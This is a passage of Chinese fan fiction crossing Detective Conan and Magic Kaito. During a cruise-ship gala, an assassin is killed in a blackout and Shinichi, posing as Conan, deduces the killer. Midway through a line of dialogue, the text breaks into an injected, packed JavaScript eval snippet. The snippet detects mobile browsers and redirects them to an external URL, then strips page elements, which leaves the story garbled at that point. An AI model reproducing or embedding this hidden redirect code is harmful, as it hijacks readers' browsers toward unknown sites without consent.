黑羽快斗在踏入其中之前,视线扫过另外三扇门。 “对了,我有点好奇。”他说,“剩余三个套房,都住人了吗?” “是的。” “是否包含报名参与怪盗活动的客人?” “不包含。”侍者说,似乎是担心这个回答会引起他的误解和不快,忙不迭诚恳地解释道,“包括工藤先生您,每一位都是园子董事长亲自邀请的贵客。” “我了解了,谢谢。” “您客气了。” 侍者说,抬眼时瞥见这位侦探清隽俊逸的侧脸,发现对方的唇边若隐若现地露出一丝微笑,这笑柔和至极,却像是一场暴风雨前夕的预兆,某种危险的气息呼之欲出。 时间翻到次日。 度过只能称其为补充精力所必需的一夜睡眠,黑羽快斗苏醒后脚步无声地走到阳台,伸手将窗帘全部拉开。 一片仰首望去也无法窥见任何边界的湛蓝海洋映入与之同色的瞳孔深处,黎明将至,海与天之间夹着一线晕开的浅淡金色,纯澈的光芒渗透了空阔天穹中每一缕棉絮般柔软的云层。 真是美丽啊。 如果不考虑海洋深处潜伏着许多他连提起都不愿意的生物,这幅光景还是很让人惬意的。这个世界也是同理,要是鲜为人知的暗处未曾藏匿那么多令人厌烦的阴谋和野望,应该会让更多人得到幸福吧。 黑羽快斗心知那位让他钟情的侦探一直也在为此努力,为世间带来更多的光明和正义。 他抬起头遥望着海鸥飞翔的天空,微风轻轻地拂过他的侧脸,长睫之下的眼眸愈见幽深。 细想起来,自他留在工藤新一身边以后,二人周边接连发生的事件无一不与潘多拉休戚相关。先是建筑行业龙头企业的社长被杀,建设省官员遇袭,黑羽快斗在铃木大厦深处遭遇怪盗淑女,又有尘封百年的金库重现世间,灰原哀被设计绑架。所有风波的根源是数代人念念不忘的永生野望,一切相关者都被毫不留情地卷进灾祸的风暴。而他也不得不为了在这场竞争中抢占先机,利用怪盗Kid的影响力撕破暗处之人竭力粉饰的太平假象,将对抗的舞台导向远离大陆上百海里以外的无边海域。 除此之外还有一点令他在意,那就是令工藤新一变为从幼童恢复原貌以后仍旧饱受副作用折磨的APTX-4869,追溯其研发历史,竟是来自潘多拉。 “事件越来越麻烦了啊……” 空中传来一声若有所思的自语,随后阳台上的人就转身离去,留下白色的窗帘被海风吹得飒飒翻涌不止,迎着愈见明亮刺目的太阳光辉,就像某种飞鸟纯白色的羽翼。 “这里是A班,甲板目前未见异常。” “收到,请继续待机。” “是。” 假借扇风的动作遮掩着口型,随后这名穿着夏威夷风度假衬衫的便衣将手中的硬草帽戴回头顶,双手大开背靠在栏杆上,墨镜后的锐利视线扫过不断往来的宾客。 Kid会隐藏在这些人中吗? 便衣的目光穿越一段距离,最终落在不远处一顶硕大阳伞下方与女伴分享茶点的铃木园子身上。 工藤先生在邮轮启程以前有过交代,需要重点看护这位女士以及她身边的人。不知道那位侦探先生是担心她的安危,还是怀疑她最有可能被怪盗冒充呢? 便衣面上不动声色,内心却充满了漫无边际的猜测。 而在他与同僚们的目光汇集之处,铃木园子将一勺蛋糕送进嘴里。 “啊,这个好吃。”她单手捧脸,惬意地说,“好久都没这么悠闲地来海上度假了,最近都是各种工作啊会议啊还有应酬啊,烦得我睡觉都不安稳了。兰,你也放松点。” 毛利兰哭笑不得地问:“那也不能这么悠哉吧?不是听说Kid要来么?” “没有关系啊,因为Kid大人不会伤害我们的。” 铃木园子略微懒散地单手支着下颌,眺望着碧海蓝天的风景。 “我相信他哦。” “园子你真是,亏我还一直担心你的安危……” “哈哈,来都来了,就尽情享受吧!” 在二人不远处,肆意翻腾的海浪之上,盘旋于邮轮附近低飞的海鸥鸣叫着任由海浪拍打它展开的雪白双翼。 甲板前方一名举着手机自拍的青年衣衫被海风灌满鼓起,在画面中笑容嚣张地举起手中的薯条。伴随附近人群的惊呼和会心一笑,镜头前飞速掠过一道白影,那人手中的薯条消失不见,溅开的清莹水珠飞了对方一脸,落在衣领晕湿成深色的斑点。 “别担心,偶尔这样放松也不错。”铃木园子忽然笑了笑,“算起来我们也很久没有一起度假了,让我好好招待你吧!下午剧院会上演一部好评如潮的经典音乐剧哦,名字叫《金苹果》,主演据说是歌剧界一位人见人爱的女高音哦。” 迎着女伴惊讶的目光,铃木园子像是变戏法一样抽出两张票,得意扬扬道:“我请演出方预留了两个席位,作为晚宴之前的消遣,还不错吧?” “这个音乐剧我确实很喜欢啦……”毛利兰无奈地说,“真服了你,怎么连这个都还记得呀。” “嘿嘿,那是当然啦。” 音乐剧始于下午两点,午餐后她们便一起来到剧场的前排坐下。伴随悠扬的前奏,观众席的灯光全暗,灯光聚集于众星云集的璀璨舞台。金发碧眸的女歌唱家抬起手臂,目光眺望远方,将昔年古希腊神话三女神纷争的余波之下,为争夺人间绝世美女海伦而上演于特洛伊城的爱恨离合用歌声娓娓道来。 绕梁乐声回响在宽阔的大厅,在一扇隔音的厚重大门之外,陆续经过着为宾客服务的船员。游人们或是在艺术沙龙喝下午茶、谈天说地,或是在顶层的泳池嬉戏,或是消遣于不同的娱乐场所。邮轮平稳的航行持续向远海延伸,阳光从头顶一寸寸西斜,仿佛有人用指腹将大片霞色于当空抹开,浓厚的颜彩覆盖了黄昏,金光粼粼的水波跳跃于黛紫的海面,依稀倒映出漫天繁星。 晚七点,船上的晚宴开始入场,大门外站着铃木家一名才刚成年的青年才俊,带着略为青涩的款款微笑与每一位出席的宾客招呼寒暄。在他身后是金碧辉煌的宴会大厅,侍者往来不停地为热衷交际的人们提供特调的鸡尾酒,附近是成排的自助餐桌,上面多为新鲜海产所烹调的珍馐,也为照顾不同忌口和风俗的人们提供了许多异国料理。 七点二十分,伪装成工藤新一的黑羽快斗出席宴会。 七点半,铃木园子登台作邮轮启航以及欢迎致辞。 一袭浅粉色晚礼裙的毛利兰坐在宾客席位的前列,随大流地与旁人一同在台上做出妙语连珠的发言时微笑鼓掌。可或许是心头总是若有若无地盘旋着某种不安的预感,令她始终无法专注心情。 晚宴开始之后,铃木园子看出毛利兰一直提不起兴致,忽然说:“对了,这次我还邀请了一位你许久未见的惊喜嘉宾哦!” “惊喜嘉宾?” “那家伙这些年都音讯寥寥,我也是抱着试一试的想法发出邀请的。”铃木园子笑道,“不过我刚才看了一下,发现这次居然得到了‘OK’的回复呢!你应该也与他许久未见了吧?” 音讯寥寥?许久未见? 毛利兰的眉间逐渐颦起,眼中浮现出困惑。 “园子……你说谁?” “咦?不应该啊,他难道没事先告诉你么?”铃木园子对她的茫然感到惊讶,两双同样充斥着不解的眼睛对视着眨了眨,随后她耸肩,“看来我好像无意间破坏了一个惊喜。” “你到底在说什么啊……” 面对铃木园子故意打哑谜似的说法,毛利兰抿了抿唇,不禁催促:“别卖关子了,园子!” “哎呀,就是你很熟悉的那个人啦。”在毛利兰眼神灼灼的注视下,铃木园子笑容满面地说,“就是那个脾气拽拽的,以前寄住在你家的眼镜小鬼啊!!” “欸?” 出乎她的意料,毛利兰想起自己先前在商店街偶遇到的那位少年,心中却浮现出微妙的不解之情。 她总觉得,相隔十多年后自己再次遇见的柯南君,好像有些让人说不清道不明的古怪之处…… 仿佛呼应着这份不甚安稳的心情,上方吊灯折射出的煌煌光线将台上台下的人都笼罩在如同过度曝光的底片中,满眼都是涣散的光影,而在鲜有人注意的玻璃大窗外,邮轮正缓缓在与天同色的漆黑海面上前行。 船上夺目的光线反过来加深了远处的色彩,深沉的布景不断挤压着视野,于是被夜色所掩映的黑暗之中,一艘通体漆黑的小艇悄然靠近着铃木家光彩辉煌的豪华邮轮。 19.File 19 七月的夜晚气温凉爽,沁凉的晚风拂过宽阔的海面,带来甲板上隐约的欢声笑语。 繁星遍布的夜空与大海模糊了视野的边界,交融为浑然一体的深蓝幕布。 邮轮的甲板上有不少巡逻的船员,所幸被海上夜景吸引驻足的宾客同样众多。 灰原哀从隐蔽之处攀上邮轮,回头遥望下方被打开排水口后逐渐沉入海底的快艇,心下仍残留着几分惊魂未定,既难以置信自己竟然如此轻而易举地脱困,又…… 她看向伸出手扶了她一把的工藤新一,对方现在的模样让她心中犹豫自己还该不该叫他这个名字,还是说称呼他为江户川君比较好呢? 想问的问题其实还有很多。比如他是如何与贝尔摩得取得联络,假扮成变色龙是为了解救她吗?为何让她将永生之药的片段交给那个组织,他们又是为了什么目的而登上铃木财阀的这艘邮轮? 灰原哀眼神复杂地看向少年样貌的侦探,晚风将他漆黑的发丝吹得轻轻拂动。由于昏暗的夜色和那副同样令人怀念的眼镜,她看不太清对方面上的神情。 “交易完成了,贝尔摩得。”侦探说,视线扫过金发女子足边昏迷过去的海鸥。 方才在灰原哀交出药物情报,海鸥在狂喜后一瞬后流露出杀意的刹那,被工藤新一干脆利落地撂倒在地。 他垂下眼睫,意味不明地道:“下不为例,别再让他对我身边的人下手。” “这我可不能保证啊。你比我更清楚他的脾气有多无法无天。”贝尔摩得如同打哑谜般回答,露出一个暧昧的笑,随后她用脚尖踢了踢海鸥的身体,“不过你确定只用麻醉针放倒他吗?这家伙醒来发现被你涮了一通恐怕会记恨上你哦,惹上这样的小人最是麻烦。” “无所谓。”工藤新一用不带情绪的声音说完,便牵住灰原哀的手腕,带着她离去。 贝尔摩得站在原地轻轻摇了摇头:“真没办法啊……” 为避免那人的计划出现意外,眼下还不是杀人灭口的合适时机,因此她思考了一下等会儿该如何跟醒来的海鸥解释情况。 反正海鸥压根没看到是谁对他下的手,工藤新一出手谨慎,确认他昏迷以后才撕开她做的易容,干脆把这笔账推到变色龙身上好了,就说变色龙带走灰原哀是为了在乌鸦面前独占功劳。那个利欲熏心的蠢货一定会信。 她无所谓地想。 接下来灰原哀跟随工藤新一穿过一个类似放置清洁用品的杂物间,然后顺着狭窄的走道和楼梯走到一处隐蔽的房间,工藤新一将里面早已准备好的礼裙递给她,自己走到另一处的隔间换上一身浅蓝的西装,匆匆打理过后,他们走到稍为宽阔的走廊,目标明确地继续前进。 “你很了解这里的地形?”灰原哀问。 “算是吧。”工藤新一说,“以前乘过一次,而且我也提前看过这艘邮轮改造后的构造。” 漆黑之星的那次交锋吗?灰原哀对那件事倒是有所耳闻,毕竟牵扯到铃木财阀和怪盗的新闻总是会闹得沸沸扬扬。当时从横滨港驶往东京港的邮轮,她记得就是叫莎莉贝丝皇后号这个名字,Kid的预告函上有写。 铃木家此次海上展览的航程是从东京港出发,在公海周游一圈,最终抵达横滨港,简直像是命运兜了一圈回到了原点,呼应那对宿敌第一次面对面对决的事件,又仿佛是为他们宿命般的因缘画上最终的句点。 但现在灰原哀还有一个更为在意的问题。 “你急着带我去哪里?” “宴会厅。” 走廊两侧的饰物不断后移,船内强劲的冷气无处不在,但她注意到工藤新一的鬓边还是微微渗出热汗。 “我能冒用变色龙的身份,是因为贝尔摩得笃定他在此期间不会出现。变色龙一直对潘多拉势在必得,绝对不会放过这次千载难逢的机会。既然如此,他很可能早已混入船上,或者至少有他信得过的同伙埋伏在此处。” 工藤新一沉声道。 “这些人想要得到宝石,就肯定会把我和Kid视作必须优先排除的阻碍对象。不过,鉴于他们无法提前判断出Kid会用什么身份潜入船上,最终只会剩下一个选择,那就是将目标放在我的身上……” 问题是如今工藤新一本尊正在灰原哀面前,那假冒成他登船的人会是何方神圣? 灰原哀面露恍然,同时也明白了为何工藤新一认为此时的情况最为危急。 由于船上的乘客平时都分散于各处,侦探还能够出入许多寻常乘客禁止涉足的区域,要搜寻这样的目标实在太费功夫。不过铃木财阀召开的晚宴能为组织创造一个绝佳的暗杀机会,因为工藤新一很大概率会在此时出现。 所以那位怪盗先生现下的处境恐怕非常危险。 为便于宾客出入,宴会厅的大门完全敞开。 耳边回旋着D大调的小步舞曲,仿佛踏进一部节奏紧凑的古典电影,他们按捺住狂跳的心脏穿梭于觥筹交错的人群,脸颊被周围四溢的名贵香水味熏得发红。头顶上方巨大的水晶吊灯晃着刺眼的亮光,将视野中接连后退的每一张陌生脸孔都笼罩在神秘的阴影里,好像每个人都有可能是组织的同谋。 灰原哀不禁自嘲,原来心境对人的影响竟然这般厉害,连本该其乐融融的晚宴都像是恐怖片了。 “海鸥跟来了。” 旁边飘来一句低声提醒,借助宽檐的女帽掩饰,灰原哀假装不经意地回眸窥视,果然发现换了一身侍者衣装的海鸥,以及举着托盘走向另一方向的贝尔摩得。 麻醉针的效力居然消失得那么快!她暗骂一声,又不禁深思起来,贝尔摩得把海鸥引来这里,是打算利用他聚集其他组织成员吗?灰原哀知道那女人铁定不会诚心为组织效力,很可能跟其他人的联络都不算紧密。 工藤君有没有找到什么线索?灰原哀注意到身侧的少年也在隐蔽地观察着四周的宾客。大概是过于锋利的眼神被镜框和镜片遮挡住了,那种额发垂下,嘴唇微抿的样子很像一只警觉的猫,柔和的轮廓柔化了对方周身萦绕的严肃气息。 只是在困境中苦中作乐的一种想象而已。 随后猫像是感知到了什么常人无法接收的信号,蓦然抬头放远目光,视线攀到宴会厅的双合式楼梯上方,与扶栏边长身玉立的人物遥遥对望。 “哟。” 隔着一段很远的距离,对方挑起唇梢轻笑的声音却仿佛近在咫尺,大概只是心理作用吧。 那家伙是白痴吗?如果此刻能从愣神的状态中反应过来,灰原哀一定不会迟疑地狠狠吐槽。无论哪边的身份,那位怪盗不可能不清楚自己早已成为众矢之的目标吧? 居然还敢独自站在那么招摇的位置。 可或许是被那似曾相识的神秘微笑弄得恍惚了会儿,在她内心骤然摇摆的数秒之间,仿佛有月光穿过行云的缝隙,投射下万缕光绦—— 此刻无论是侧站在阶梯上方俯瞰下来的人,还是旁边仰头时逐渐展露出凛冽眼神的少年,都像是留存在过去记忆中的一幅朦胧画卷。被撒上一层银白粉末的鸦青夜幕在他们身后缓缓展开,以致眼前所见的一切都泛起圣洁又梦幻的光芒来。 要说的话, 就是逆转了时间之轮,重现于世间的命运对峙。 对方单手插兜步下阶梯的气场除了近似本尊的随性和从容,还若有若无地透出了年轻人才有的张扬和年少轻狂。大概除了始终无心宴会、四处观察的个别人物,在场压根没有人注意到,那位总是神出鬼没的名侦探,忽然若无其事地出现在此地。 人群之中的海鸥忽然眼皮重重一跳,只见高处那人的目光蓦地越过重重人群,目标明确地刺向自己,不禁悚然一惊。 难道工藤新一认出我了?他下意识地向左右看去,意识到对方视线始终不偏不倚地落在自己身上,心脏蓦地怦怦作响,不可置信地想:宴会厅里这么多人,对方怎么可能注意到一个入场不超过五分钟的服务员! 这人难道能够记住所有宾客和船员的脸吗? 他不知道这世上有人会在每一次行动之前都最大限度地做好准备,仰仗过目不忘的破格才能,巨细无遗到从登船人员的容貌以及船上每个房间的布局和路线都了如指掌。 从外来者踏入会场起,明暗立场就已悄然调转。 居高临下的人将海鸥的错愕以及贝尔摩得的冷眼旁观都映入眼帘,唇边不着痕迹地带起一抹意味深长的笑容。他故意紧盯海鸥,搭在楼梯扶栏的手抬起欲指:“小心——” 他扬高声音喊。 海鸥瞳孔微缩,在众目睽睽之下,害怕身份暴露的冲动超越审时度势的理智占据了上风。他本能地将脸转向另一方向,红血丝爬上瞳孔,以愈加狰狞的眼神示意—— 此人就是乌鸦先生的心腹大患,快杀了他! 在他目光尽头,一名从登船起就安安分分低调工作的侍者微俯下身,把手伸入西装。 聚焦于此人暗中的动作,隐约可见西装上浮现出一个模糊的形状,赫然是手枪的轮廓! 时机可谓是电光石火的一瞬。 楼梯上的人骤然敛去了眼底浮光掠影般的虚假笑意,背在身后的左手按下手机屏幕的按键。 “嘀——” 黑暗兜头罩来,将华光璀璨的宴会厅骤然抛到令人错愕的寂静之中。措手不及的宾客茫然四顾。 发生了什么?停电?还是Kid魔术的前奏? 到处可闻人们六神无主的议论。 就在此时。 “砰——!” 一声仿佛近在咫尺的枪响在会场中响起。 一时间身在附近的人们都不由自主地闭上眼,捂住被震得刺痛的耳朵,紧张得心跳加速。 这不是号称严密安检的邮轮吗?居然有人开枪了?恐怖袭击?纷至沓来的恐怖猜想在众人脑海中接连浮现。持枪暴徒就在自己附近的事实令他们感到恐惧万分。 会场中轰然爆发失控的惊叫,有人开始朝出口奔去。 “大家冷静下来!不要胡乱奔跑!” 警察立即涌入大厅维持秩序,应急手电的光束四处旋转,照亮一张张慌乱溢于言表的脸庞。藏身其中的贝尔摩得见状微微皱眉,不动声色地退往暗处。 她看向楼梯上方,挑起骚乱的家伙已不见人影。 躲避了暗杀之后直接离开了吗?她留意到灰原哀也悄然消失于人群之中。 混乱的场面直到有位女宾惊声叫喊有人死了才出现转折,附近的警察迅速靠拢包围她所指的位置,同时封闭宴会厅的出入口以防凶手逃逸。船上这时也完成了照明的应急抢修,灯光频闪了几次之后重新填满厅堂,照亮人们面面相觑的脸孔。 一位衣冠楚楚的男士悄悄缩回脚,避开了快要碰到他鞋尖的血泊。他将脸偏到一边,不敢再看一眼倒在血中的陌生侍者。 蝙蝠! 海鸥面色一怔,惊愕之中差点大喊出声。 死的怎么会是他…… 楼梯之上已然空无一人,海鸥慌乱地四处寻觅,发现贝尔摩得也不见踪影。 那个女人……在停电的时候趁乱逃走了吗?他恼怒地咬紧牙关。 死者的身份不同于工藤新一的预测,这名潜伏于船上的人物不是变色龙,也不是变色龙的属下,而是一位代号为蝙蝠的杀手。他曾是蜥虎的旧部,精通潜伏,在射击上也是一把好手,所以曾为对方做过不少脏事,后来由于利益分歧,蝙蝠在蜥虎倒台前就暗中投靠了乌鸦。 在乌鸦针对蜥虎设下杀局之前,蝙蝠曾自告奋勇由他去执行暗杀蜥虎的任务,被乌鸦以“会失去与工藤新一交手的乐趣”的理由拒绝,后来他使用狙击枪协助变色龙一同执行青山狙杀案,又因工藤新一的插手而导致后续的计划失败。 二度错失向乌鸦证明自身价值的机会,让蝙蝠对这第三次行动踌躇满志。 ——孰料螳螂捕蝉,黄雀在后。 反将一军的真凶早就盯准此刻。 在蝙蝠将枪口对准假扮成工藤新一的怪盗,因而暴露出破绽的一瞬。 毛利兰看了一眼被警官们团团围住的尸体,面露不忍:“园子,这是……” “棘手了啊……”铃木园子叹息一声,她看见死者身上的工作服,侧头对特助耳语片刻,请对应部门的经理调查身份,以及筹备后事和抚恤家属等事宜。 过了一会儿,特助回来向铃木园子报告,经理在档案中只查询到该名员工的个人信息,对方在数月前入职,没有登记任何家庭信息,而且他平日很少与同事交际,其他人也不太熟悉他有什么亲朋好友。 “难道是无亲无故吗?”铃木园子闻言,心中觉得有些古怪。 “董事长……”在她身侧的特助露出欲言又止的表情,“所有人都在停电时听见了枪声,我们离港前对乘客的安检非常严格,你觉得会不会是Kid……” “不可能。Kid是不可能杀人的。”铃木园子毫不犹豫地否认了特助的猜想。 但是仅凭她的一言之词,铃木园子无法为对方的信誉背书,因为她手中没有决定性的证据来证明Kid的清白。倘若警方无法从现场揪出真凶,那位神出鬼没的大盗注定会成为最大的嫌犯。 无论在场的众人如何心思各异,现在只一个共同的谜题亟待解决。 究竟谁是杀人凶手? 一名少年这时在万众瞩目下拨开围观的人群走到尸体旁,蹲下身单膝支地,伸出戴着白色手套的双手,捧住死者的头颅,冷静地观察起来。 “喂……喂!”旁边的警员下意识出声。 他原本打算喝止无关人员靠近尸体,以防破坏案发现场,音量却在那少年抬眸瞥来时莫名地低了几分。 “你、你是谁?”警员略微结巴地问,“你要做什么?我们正在调查中。” 或许是因为对方身上萦绕的独特气质,一种在面对死亡时无比镇定的强大气场,以及眼镜后方极度理性的眼神,那一双色泽纯正的蓝眼睛所展现的情感完全超越了这个看起来才十七八岁的少年外表应有的阅历,令这位年轻警员情不自禁表露出退让的语气。 “他没关系。” 对方还没有回答,从警员当中走出的中森警官率先回答。 他以同僚们难以置信的耐心等待少年检查完现场,随后,中森警官展开手中由白色手帕包裹的手枪。 “我们在死者附近的餐桌下方发现了这把手枪,保险栓已经打开,枪口有硝烟反应。” 警官看向二人后方一张摆放自助餐品的长桌,旁边的警员会意,蹲下身掀开白色桌布,下方的地面被画出了一个手枪形状的痕迹固定线,正好处于距离尸体一米的位置。 “这人的死因是被子弹贯穿太阳穴,直接一枪毙命。我们调取了停电前后的监控录像,发现死者在停电前有疑似掏枪的动作,我怀疑他原本是打算对其他人开枪,不过从结果来看,这个倒霉蛋应该是还没有得手就死于过失走火,估计是停电期间的人群推搡让他混乱了吧。” 话虽如此,中森警官仍是紧皱起眉头,心中觉得此事还有蹊跷。 一个能够绕过安检携枪登船的人,身份会清白到哪里去?他费尽周折潜入邮轮,打算对某人下手,却在准备出手的瞬间遭遇停电,最终死于自己的手枪走火,还是正中太阳穴的死法? 他很难相信这一切都是巧合。 可目前所有的证据又都指向这一答案。 站在中森警官面前的少年接过手枪,动作熟练地开始原地拆解检查。 “这把SIG-P220手枪的枪匣能够容纳9发子弹,再加上上膛的1发子弹,最多能够容纳10发子弹,”他打开空空如也的弹匣,若有所思地说,“我们在停电期间只听到一声枪响。您觉得持枪登船的人在正常情况下会只在手枪里放置一颗子弹吗?” “你的意思是说……” 这不是意外。侦探笃定的表情已经代表了答案。 随后对方转过头询问中森警官:“您检测过尸体身上的硝烟反应了吗?” “我们检测了死者停电前持枪的右手衣袖,已经确认有硝烟残留,证明他确实开过枪。” “请再检测一下他正面胸膛的衣物以及太阳穴那边的侧面,观察是否有硝烟反应呈现?” 中森警官如他所问的思路吩咐下去,随后说:“你需要看一下当时的监控录像吗?” “太感谢了,求之不得。”那少年微笑了一下,动身之前注意到先前问话的警员遮掩不住的满脸好奇,略微侧过脸,鼻梁上的眼镜因角度的关系掠过一道冷光。 “刚才失礼了,因为我对这桩案件有几个地方需要尽快确认,所以不小心疏忽了您的提问。”对方用很难让人生出恶感的谦逊的口吻说道,“刚才您是想问我的名字,对吧?” 没有任何停顿,他用自然流畅的语气平稳地说:“我是江户川柯南,是个侦探。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633734|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 工藤新一重拾这个身份,应该算是物尽其用了。 托黑羽快斗的福,江户川柯南明面上已经回到日本。铃木园子在邮轮出发以前向江户川柯南的邮箱发送了信件,询问他是否有空参与一次有望与Kid再次对决的海上之旅,工藤新一经过一番考虑,接受了对方的邀请。 随着侦探和警官对案情的讨论不断深入,不知不觉中,混乱的会场重新变得安静起来。一部分人在警方的安抚下寻找了个位置坐下休息,还有一部分人凑热闹似的站在附近,旁听起了少年侦探的分析。 “中森警官,你们拾得的这把手枪不是死者生前所持的武器。” 工藤新一仔细看完监控,说出了一个让在场众人都面露意外的结论。 旁边的人不禁提出异议:“但是从伤口来看,嵌入死者颅内的子弹口径正是SIG-P220型所适配的10mm。” “我没有否认这把SIG-P220手枪是杀害死者的凶器。”工藤新一笑了一下,“但是,这个事实与‘手枪并非死者所有’的结论并不存在矛盾。” 他示意警官一起观看录像回放,对方在停电以前曾将手伸入外衣,而且里侧显现出了些许枪口的形状。 “我们来看一下监控录像中枪口在死者风衣中鼓起的位置,再把我们手中的手枪实物放进去比对一下,很明显,录像中的手枪的长度更长。” 此时去查看硝烟反应的警员过来报告结果,检测表明尸体胸膛正面以及手臂和脸颊侧面同样出现大量硝烟反应。 “这个结果代表什么?”中森警官不明白侦探要他们检测这些地方的意义何在。 “说明停电期间不止一个人开了枪。”工藤新一勾起嘴角,右手比成手枪的手势指向自己的太阳穴,“其中一枪,是凶手对准死者的太阳穴,一枪毙命,枪口的硝烟扩散到死者的侧脸,以及凶手自己的袖口。而另外一枪……”他将比作枪口的手指指向高处的楼梯,“同样型号的枪支,加上一截消音器,是死者指向前方射击,扩散的硝烟就会同时大量附着在他持枪的右手和身体正面。” 为了确认他的推理,中森警官让一名部下走到楼梯上查找证据。 工藤新一起先以为枪击的目标只有黑羽快斗,所以在黑暗中听见枪声的瞬间就奔向楼梯。照明恢复之后,他悄无声息地检查了二楼,通过墙壁的弹孔确认了怪盗未被击中的事实。 现在回想起来,黑羽快斗的站位其实非常精妙。附近的宴会装饰为他提供了恰到好处的遮蔽,让敌人无法埋伏到高处或者别的地方对他出手。居高临下的视野同样便于那家伙监视会场,在危急时刻抢占先机。 经侦探的提醒,警员很快找到弹孔,从中取出一枚10mm口径的子弹。 “太厉害了……”人群中传来阵阵惊叹。 鉴于凶手的手法被破解,如何锁定对方身份的方法自然也浮出水面。 倘若这桩案件最初能如凶手所愿,以走火事故结案,身处会场的其他人自然也会被认定为不存在杀人嫌疑,免于警方的盘查。 凶手之所以要竭力避免此事被确认为谋杀事件,是因为对方亲手开过枪,身上必然也有大量硝烟物质的残留。 为了防备怪盗,中森警官在船上布置了大量警力,警方能够在人们发现尸体的同时封锁现场,这也代表了凶手没有时间更换身上的衣物,销毁证据。 工藤新一请中森警官让把守在宴会厅门口的部下用检测硝烟反应的试纸逐一测试在场所有人的袖口。考虑到凶手有可能是左撇子,只有双手都通过检测的宾客和船员才被允许离开。 这方法非常便捷,因此会场所有人都配合地列成长队,依序完成检查。随着剩下的人越来越少,通过检查的人担心凶手就在自己身后,不愿遭受池鱼之殃,越到后面的人离开得越快。 中森警官接受了工藤新一的建议,把警方潜伏于宾客中的便衣都安排在检测队伍的后排,准备最后对凶手来一个瓮中捉鳖。 然而令他傻眼的是,直到最后连自己人都全数走出大厅,他们也没有发现任何人身上呈现硝烟反应。 “喂、喂喂喂,这跟你说得不一样啊眼镜小子——”中森警官气恼地转头,恼火的声音却一下子噎住。 不知从何时开始,站在他身侧的少年侦探已悄然消失不见。 旁边的警员注意到中森警官愕然的表情,忙不迭解释道:“那位江户川先生说排查的时间太久,他还有要事要办,我就让他先出去了。” 这人的同僚同样面露微笑,自以为聪明地补充说:“我们放江户川君离开前也给他做过硝烟检测,他肯定是清白的。” 中森警官闻言额角冒起青筋,几经忍耐,还是没忍住破口大骂:“问题不在这里啊,你们两个蠢货!” 早一步离开宴会厅的工藤新一在心中对中森警官说了一声抱歉,不过接下来的事情还是交给他就好。 检测硝烟反应的方法其实存在很大的漏洞,工藤新一是故意如此提议,好让凶手自以为有方法瞒过警方顺利离开,这样做就能够避免他们在人群聚集的地方把凶手逼到绝路。 凶手为了将谋杀事件伪装成意外事故,得手以后故意夺走了死者的手枪。这个事实代表着凶手目前手中持有武器,宴会厅的人随时都有可能被挟持为人质。 这是理由之一。 第二个理由是,他已经锁定了真凶。 通过观看停电前后的监控录像,工藤新一注意到从会场陷入黑暗到枪响,途中间隔了大约15秒的时间。 平均来说,人眼需要30秒左右才能实现暗适应。如果一个人突然陷入黑暗环境,他的动作会因为骤然无法视物而在无意识中变得迟钝。 训练有素的杀手一定不会放过这个机会,就算同样失去视野,对方也大概率能够瞄准记忆中的位置开枪,提前准备的消音器和周围人议论吵闹的声音足够掩盖这些动静。 但是,无法视物的条件不适用于对此早有准备的真正凶手。 凶手只需在停电以前闭上眼睛,就能在环境变暗之后立即洞察周围人的动向,然后在确保杀手失去视野的15秒之内靠近对方,迅速完成开枪和夺枪的动作,最后重新退回人群之中。 工藤新一在观看监控的时候已经确认了凶手的身份,他只要寻找到那个在会场停电以前长时间闭上眼睛的人。 这个不但知晓黑羽快斗在配电室动过手脚,同时也对组织成员十分了解,并对组织恨之入骨的幕后真凶。 在这空前寂静的夜晚,邮轮在漆黑海面上如漂浮一般缓缓航行。 清凉夜风灌满了一整条寂静的露天游廊,身着美丽长裙的女客抬手扶着帽子,仰望漫天繁星,自语般地呢喃说:“午夜尾随淑女可不是绅士所为哦,这位年轻的侦探先生,无论有何指教也请来日再说吧。” “只是想确认除了我还有谁与组织作对而已。” 游廊的另一端,少年侦探沉声说。 “我看录像的时候就注意到你了,在停电之前,只有你一直拿着手机低头站在角落。借助帽檐的遮掩闭上眼睛,就能在停电后抢先一步适应黑暗的环境。看来你非常清楚组织的动向,还对配电室的机关了如指掌……” “这是毫无证据的污蔑吧。”黑羽千影弯起红唇,尾音全然是怪盗特有的那种精于狡辩的无辜语气,“说不准人家只是在和情郎互传邮件呢。” “你能够通过硝烟检测,是因为现在这双过肘的手套是正反两层都完全一致的设计。”工藤新一笑了一声,扬手晃了晃检测用的试纸,“要把手套脱下来再自证一次清白吗?还是说,能否请你摘下帽子,让我检查一下里面有没有藏匿拆解开的消音器和手枪呢?” “真是失礼的要求。” 对方轻斥一声,话虽如此,笑容却愈发明艳美丽,甚至依稀透出猖狂的味道。 “但就算你看穿了我的手法,又能拿我如何呢?侦探总是徒劳无功的追逐者,你不是从来都对乌鸦束手无策吗?” “不必你来挑拨,以前那些事,我会找他亲自算账。”工藤新一眼神平静,轻轻动了动唇,“哪怕是追到地狱尽头。” 从他的目光中,黑羽千影读出不可动摇的决心。 “看来你比我想象中还要高尚,那就请好好努力吧。”她玩味一笑,那笑容既显得揶揄,又微妙地透出一丝郑重气息,“让我看看你们会鹿死谁手好了,工藤新一。” 20.File 20 “死里逃生的感觉如何?” “这个问题应该原封不动地还给你。” 就在出现了杀人事件的宴会厅开始上演一场推理剧目的同时,如上对话发生在邮轮中鲜有人至的某地。 问他死里逃生有什么感觉吗?夜风中飘来一声漫不经心的轻笑。 倒也不奇怪,毕竟这家伙就是这么一个赫赫有名的传奇人物,举凡现身就是天下皆敌,如今一次小试身手的逃生魔术自然不值一提。 这么心想,灰原哀却仍是一副不能掉以轻心的表情。 就在刚才停电的十几秒之内,她被眼前这个行动敏捷的家伙带着离开了现场。 “那边就留给最擅长解决案件的侦探先生来收拾吧。”对方声音平静地说,“既然船上发生了杀人事件,中森警官他们肯定会联络海上保安厅,灰原小姐只需度过今晚,明天就可以转乘他们的船直接离开。” 